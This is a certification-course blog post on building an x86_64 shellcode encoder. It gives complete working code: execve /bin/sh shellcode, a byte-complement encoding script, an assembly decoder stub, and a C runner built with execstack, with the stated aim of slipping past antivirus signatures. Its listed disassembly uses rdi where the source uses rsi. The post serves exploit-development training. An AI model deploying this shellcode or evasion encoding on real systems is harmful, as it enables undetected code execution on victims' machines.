16 Minute Read
Student ID: SLAE64-1611

Assignment Four: Creating a Custom Shellcode Encoder in x86_64

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64 Certification:
https://www.pentesteracademy.com/course?id=7

All code can be found in: https://github.com/securitychops/security-tube-slae64

All work was tested on a 64bit version of Ubuntu 18.04.1 LTS

If you have not already read my post from the 32bit version of the SLAE (Creating a Custom Shellcode Encoder (x86 edition)) then I would highly encourage you to do so before continuing forward since I will not be going into quite the same level of extreme detail I did in that post…

Assignment four is all about obfuscating our x86_64 shellcode. Just like in the x86 version a lot of antivirus solutions are actually not terribly sophisticated and can be tripped up by just slightly modifying the code being executed to deviate from a known malicious signature, so that is exactly the point of this exercise!

There are two things that we need to accomplish to complete this task:

  1. Create a custom encoding scheme to obfuscate the execve shellcode.
  2. Decode our obfuscated shellcode in memory and then execute it so that we end up with a /bin/sh prompt.

TLDR; - JMP short Final_Shellcode


The Encoding Scheme

This time around I did not have to come up with a fancy new encoding scheme … because I directly stole it from myself from the x86 version of the SLAE. For more information about how I chose that encoding scheme please see the 32bit version of the SLAE (Creating a Custom Shellcode Encoder (x86 edition)).

And just like last time I leveraged a python script (that I again stole from myself) in order to generate the encoded shellcode. The only difference between this version and the version listed in the 32bit version of the SLAE (Creating a Custom Shellcode Encoder (x86 edition)) is that this version has the x86_64 version of the execve shellcode to execute a /bin/sh prompt.

#!/usr/bin/python

# Student ID  : SLAE64-1611
# Student Name: Jonathan "Chops" Crosby
# Assignment 4: Custom Encoder (Linux/x86_64) Python Helper


# clean shell code for our x86_64 execve exploit
cleanShellCode = ["48","31","c0","48","83","c0","3b","4d","31","c9","41","51","48","bb","2f","2f","62","69","6e","2f","73","68","53","48","89","e7","41","51","48","89","e2","57","48","89","e6","0f","05"]

#this will hold our final encoded shellcode
finalEncodedShellCode = []

#since we don't have any 0's or FF's in our original shellcode
#we can just subtract the hex from FF to generate a new code
for x in cleanShellCode:
        tmpInt = int("0x" + x, 0)
        newInt = 255 - tmpInt
        newHex = hex(newInt)
        finalEncodedShellCode.append(newHex[2:])

#add final value that will be searched for to terminate on
finalEncodedShellCode.append("ff")

tmpCleanShellCode = ""
for x in cleanShellCode:
        tmpCleanShellCode += "0x" + x + ","

print "Original Execve-Stack Shellcode: \n"
print tmpCleanShellCode[:-1] + "\n\n"
print "--------------------------------\n"

tmpFinalShellcode = ""
for x in finalEncodedShellCode:
        tmpFinalShellcode += "0x" + x + ","

print "Obfuscated Execve-Stack Shellcode: \n"
print tmpFinalShellcode[:-1] + "\n\n"
print "--------------------------------\n"
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-4/generate-shellcode.py

The Decoding Scheme

Now that we have encoded our shellcode we need a way to decode it back to the original format. Fortunately for us we have already written an x86 version of that code so we just need to port it over to x86_64!

During the SLAE course we learned about a method for gaining execution on a string containing shellcode stored within the assembly program referred to as the Jump, Call and Pop method. The readers digest version of this method is that we leverage the way a return address is stored on the stack when calling somewhere in Linux/x86 assembly…and just like in that original x86 version we are going to be doing the very same thing in this version as well. Again, for more information on the way this decoding scheme works please see the 32bit version of the SLAE (Creating a Custom Shellcode Encoder (x86 edition)).

Our original x86 version looked like the following:


global _start

section .text

_start:

        jmp short call_shellcode ; using the jump, call and pop method to get into our shellcode

decoder:
        pop esi                  ; get the address of EncodedShellcode into esi

decode:
        mov bl, byte [esi]       ; moving current byte from shellcode string

        xor bl, 0xff             ; checking if we are done decoding and should
                                 ; jump directly to our shell code 

        jz EncodedShellcode      ; if the current value being evaluated is 0xff
                                 ; then we are at the end of the string 

        mov byte [esi], bl       ; a by product of the xor is that we get the difference
                                 ; between 0xff and the current encoded byte being evaluated
                                 ; which is infact the actual instruction value to execute!

        inc esi                  ; move to next byte to be evaluated in our shellcode

        jmp short decode         ; run through decode again

call_shellcode:

        call decoder    ; call our decoder routine

        ; this is our encoded shell string for execve-stack
        EncodedShellcode: db 0xce,0x3f,0xaf,0x97,0xd0,0xd0,0x8c,0x97,0x97,0xd0,0x9d,0x96,0x91,0x76,0x1c,0xaf,0x76,0x1d,0xac,0x76,0x1e,0x4f,0xf4,0x32,0x7f,0xff
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-4/custom-encoder.nasm


Based on the things we have learned thus far there is really only a handful of things we need to do in order to port this x86 code over to x86_64. We start by swapping out esi for rsi and then replacing the x86 version of the EncodedShellcode without our x86_64 version of the execve-stack

The code after we have ported it looks like the following:

; Student ID   : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 4 : Custom Encoder (Linux/x86_64) Assembly
; File Name    : custom-encoder.nasm

global _start

section .text

_start:

        jmp short call_shellcode ; using the jump, call and pop method to get into our shellcode

decoder:
        pop rsi                  ; get the address of EncodedShellcode into rsi

decode:
        mov bl, byte [rsi]       ; moving current byte from shellcode string

        xor bl, 0xff             ; checking if we are done decoding and should
                                 ; jump directly to our shell code 

        jz EncodedShellcode      ; if the current value being evaluated is 0xff
                                 ; then we are at the end of the string 

        mov byte [rsi], bl       ; a by product of the xor is that we get the difference
                                 ; between 0xff and the current encoded byte being evaluated
                                 ; which is infact the actual instruction value to execute!

        inc rsi                  ; move to next byte to be evaluated in our shellcode

        jmp short decode         ; run through decode again

call_shellcode:

        call decoder    ; call our decoder routine

        ; this is our encoded shell string for our x86_64 execve-stack
        EncodedShellcode: db 0xb7,0xce,0x3f,0xb7,0x7c,0x3f,0xc4,0xb2,0xce,0x36,0xbe,0xae,0xb7,0x44,0xd0,0xd0,0x9d,0x96,0x91,0xd0,0x8c,0x97,0xac,0xb7,0x76,0x18,0xbe,0xae,0xb7,0x76,0x1d,0xa8,0xb7,0x76,0x19,0xf0,0xfa,0xff
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-4/custom-encoder.nasm


Null Free Is The Way To Be!

After again running our command to disassemble our completed custom encoding binary we can see that we do indeed have no nulls!

objdump -d -M intel custom-encoder

which produces the following output:

custom-encoder:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:	eb 0f                	jmp    400091 <call_shellcode>

0000000000400082 <decoder>:
  400082:	5f                   	pop    rdi

0000000000400083 <decode>:
  400083:	8a 1f                	mov    bl,BYTE PTR [rdi]
  400085:	80 f3 ff             	xor    bl,0xff
  400088:	74 0c                	je     400096 <EncodedShellcode>
  40008a:	88 1f                	mov    BYTE PTR [rdi],bl
  40008c:	48 ff c7             	inc    rdi
  40008f:	eb f2                	jmp    400083 <decode>

0000000000400091 <call_shellcode>:
  400091:	e8 ec ff ff ff       	call   400082 <decoder>

0000000000400096 <EncodedShellcode>:
  400096:	b7 ce                	mov    bh,0xce
  400098:	3f                   	(bad)  
  400099:	b7 7c                	mov    bh,0x7c
  40009b:	3f                   	(bad)  
  40009c:	c4                   	(bad)  
  40009d:	b2 ce                	mov    dl,0xce
  40009f:	36 be ae b7 44 d0    	ss mov esi,0xd044b7ae
  4000a5:	d0 9d 96 91 d0 8c    	rcr    BYTE PTR [rbp-0x732f6e6a],1
  4000ab:	97                   	xchg   edi,eax
  4000ac:	ac                   	lods   al,BYTE PTR ds:[rsi]
  4000ad:	b7 76                	mov    bh,0x76
  4000af:	18 be ae b7 76 1d    	sbb    BYTE PTR [rsi+0x1d76b7ae],bh
  4000b5:	a8 b7                	test   al,0xb7
  4000b7:	76 19                	jbe    4000d2 <EncodedShellcode+0x3c>
  4000b9:	f0 fa                	lock cli 
  4000bb:	ff                   	.byte 0xff


At this point all that is left is to convert our custom-encoder to shellcode for insertion into our proof of concept C program:

for i in $(objdump -D custom-encoder.o |grep "^ " |cut -f2);do echo -n '\x'$i;done;echo


Which produces the following output:

\xeb\x0f\x5f\x8a\x1f\x80\xf3\xff\x74\x0c\x88\x1f\x48\xff\xc7\xeb\xf2\xe8\xec\xff\xff\xff\xb7\xce\x3f\xb7\x7c\x3f\xc4\xb2\xce\x36\xbe\xae\xb7\x44\xd0\xd0\x9d\x96\x91\xd0\x8c\x97\xac\xb7\x76\x18\xbe\xae\xb7\x76\x1d\xa8\xb7\x76\x19\xf0\xfa\xff


which we can then insert into our proof of concept C program that will execute our shellcode!

// Student ID   : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 4 : Shell Code Test File
// File Name    : shellcode.c

#include<stdio.h>
#include<string.h>

//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -no-pie

unsigned char code[] = \
"\xeb\x0f\x5f\x8a\x1f\x80\xf3\xff\x74\x0c\x88\x1f\x48\xff\xc7\xeb\xf2\xe8\xec\xff\xff\xff\xb7\xce\x3f\xb7\x7c\x3f\xc4\xb2\xce\x36\xbe\xae\xb7\x44\xd0\xd0\x9d\x96\x91\xd0\x8c\x97\xac\xb7\x76\x18\xbe\xae\xb7\x76\x1d\xa8\xb7\x76\x19\xf0\xfa\xff";

main()
{
	printf("Shellcode Length:  %zu\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-4/shellcode.c


Compile it with:

compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -no-pie


And then finally just run ./shellcode and bask in the beauty of the instance of /bin/sh that is now running from our decoded shellcode!

Connecting to our x86_64 Ubuntu server and running our encoded shellcode:

running the decoded shellcode

Final_Shellcode:

Below is the finished set of code that will perform the custom encoding and decoding. The Assembly is for performing the decoding and execution of the execve shellcode, however it will need to be run from within the helper C application in order to be able to execute from the text section (or else it will segfault).

Assembly Code

; Student ID   : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 4 : Custom Encoder (Linux/x86_64) Assembly
; File Name    : custom-encoder.nasm

global _start

section .text

_start:

        jmp short call_shellcode ; using the jump, call and pop method to get into our shellcode

decoder:
        pop rsi                  ; get the address of EncodedShellcode into rsi

decode:
        mov bl, byte [rsi]       ; moving current byte from shellcode string

        xor bl, 0xff             ; checking if we are done decoding and should
                                 ; jump directly to our shell code 

        jz EncodedShellcode      ; if the current value being evaluated is 0xff
                                 ; then we are at the end of the string 

        mov byte [rsi], bl       ; a by product of the xor is that we get the difference
                                 ; between 0xff and the current encoded byte being evaluated
                                 ; which is infact the actual instruction value to execute!

        inc rsi                  ; move to next byte to be evaluated in our shellcode

        jmp short decode         ; run through decode again

call_shellcode:

        call decoder    ; call our decoder routine

        ; this is our encoded shell string for our x86_64 execve-stack
        EncodedShellcode: db 0xb7,0xce,0x3f,0xb7,0x7c,0x3f,0xc4,0xb2,0xce,0x36,0xbe,0xae,0xb7,0x44,0xd0,0xd0,0x9d,0x96,0x91,0xd0,0x8c,0x97,0xac,0xb7,0x76,0x18,0xbe,0xae,0xb7,0x76,0x1d,0xa8,0xb7,0x76,0x19,0xf0,0xfa,0xff
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-4/custom-encoder.nasm


Python Helper for Encoded Shellcode Generation

#!/usr/bin/python

# Student ID  : SLAE64-1611
# Student Name: Jonathan "Chops" Crosby
# Assignment 4: Custom Encoder (Linux/x86_64) Python Helper


# clean shell code for our x86_64 execve exploit
cleanShellCode = ["48","31","c0","48","83","c0","3b","4d","31","c9","41","51","48","bb","2f","2f","62","69","6e","2f","73","68","53","48","89","e7","41","51","48","89","e2","57","48","89","e6","0f","05"]

#this will hold our final encoded shellcode
finalEncodedShellCode = []

#since we don't have any 0's or FF's in our original shellcode
#we can just subtract the hex from FF to generate a new code
for x in cleanShellCode:
        tmpInt = int("0x" + x, 0)
        newInt = 255 - tmpInt
        newHex = hex(newInt)
        finalEncodedShellCode.append(newHex[2:])

#add final value that will be searched for to terminate on
finalEncodedShellCode.append("ff")

tmpCleanShellCode = ""
for x in cleanShellCode:
        tmpCleanShellCode += "0x" + x + ","

print "Original Execve-Stack Shellcode: \n"
print tmpCleanShellCode[:-1] + "\n\n"
print "--------------------------------\n"

tmpFinalShellcode = ""
for x in finalEncodedShellCode:
        tmpFinalShellcode += "0x" + x + ","

print "Obfuscated Execve-Stack Shellcode: \n"
print tmpFinalShellcode[:-1] + "\n\n"
print "--------------------------------\n"
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-4/generate-shellcode.py


Final C Program To Decode and Execute Encoded Shellcode

// Student ID   : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 4 : Shell Code Test File
// File Name    : shellcode.c

#include<stdio.h>
#include<string.h>

//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -no-pie

unsigned char code[] = \
"\xeb\x0f\x5f\x8a\x1f\x80\xf3\xff\x74\x0c\x88\x1f\x48\xff\xc7\xeb\xf2\xe8\xec\xff\xff\xff\xb7\xce\x3f\xb7\x7c\x3f\xc4\xb2\xce\x36\xbe\xae\xb7\x44\xd0\xd0\x9d\x96\x91\xd0\x8c\x97\xac\xb7\x76\x18\xbe\xae\xb7\x76\x1d\xa8\xb7\x76\x19\xf0\xfa\xff";

main()
{
	printf("Shellcode Length:  %zu\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-4/shellcode.c

Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)